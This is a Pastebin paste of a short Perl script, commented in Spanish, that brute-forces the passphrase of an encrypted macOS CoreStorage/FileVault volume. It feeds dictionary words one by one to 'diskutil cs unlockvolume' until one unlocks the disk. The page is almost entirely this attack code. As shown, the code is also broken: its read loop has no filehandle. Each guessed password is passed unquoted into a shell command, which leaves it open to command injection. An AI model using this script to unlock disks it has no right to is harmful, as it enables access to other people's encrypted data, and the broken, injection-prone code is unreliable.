SHARE
TWEET

Untitled

a guest May 25th, 2015 19,062 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. LawMac:Desktop Lawrence$ more bruteforcea.pl
  2. #!/usr/bin/perl
  3. use Getopt::Std;
  4.  
  5. getopts('u:d:');
  6.  
  7. die "Usage $0 -u -d \n" if (!$opt_u && !$opt_d);
  8.  
  9. #Guardamos parametros
  10. my $uid=$opt_u;
  11. my $dict=$opt_d;
  12.  
  13. open (FILE,"<$dict");
  14.  
  15. #Por cada posible contraseƱa generada, probamos
  16. while ()
  17. {
  18.         chomp ($_);
  19.         my $resp=`diskutil cs unlockvolume $uid -passphrase $_ `;
  20.  
  21.         #Si acertamos, indicamos la contraseƱa correcta
  22.         if ($resp =~ m/successfully/i)
  23.         {
  24.                 print "Password found!!! It was \"$_\"\n";
  25.                 print "$resp\n";
  26.                 exit(0);        
  27.         }
  28. }
  29. close (FILE);
  30. print "Password not found in diccionary $dict. Insert coin and play again\n";
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top